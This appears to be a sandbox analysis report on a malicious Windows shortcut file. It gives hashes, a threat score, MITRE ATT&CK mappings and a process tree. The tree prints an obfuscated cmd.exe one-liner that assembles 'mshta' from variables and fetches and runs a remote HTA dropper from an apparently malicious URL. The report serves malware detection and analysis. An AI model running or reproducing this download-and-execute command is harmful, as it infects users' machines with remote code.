4760e9dd07bf9e810efb2a20bfc8e0b1e96d6e5ef0a9cd0c46edee6fbefef3ca

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:21

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General

Target
DOC-GNAKL0.lnk
Size 1KB
Sample260803-ql62dsab52
SHA256 4760e9dd07bf9e810efb2a20bfc8e0b1e96d6e5ef0a9cd0c46edee6fbefef3ca
MD5 61deb0371e7e3b75d5ec6d253859ba3f
SHA1 6206a6ca3c6d3f209a3966922381a492ff692808
SHA512 0c546a13f12a21e2a1b2427aa9f0405e73f098be66dffe438a3fbf81e2e7a0273566b5bd0362fadb646e0d1b9dfa548a050b4410bb33e483dbd2d6144303b6ce
TLSH
T18E3147503FF90A14F3F38E7394FB571085BBB9568E20C61E0141464D5472A14E57BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4700	cmd.exe
6240	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 6240	4700	cmd.exe	90
PID 6240 wrote to memory of 2440	6240	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GNAKL0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4700
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set RMI=msh&&set RZfU=ta&&start "" !RMI!!RZfU! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6240
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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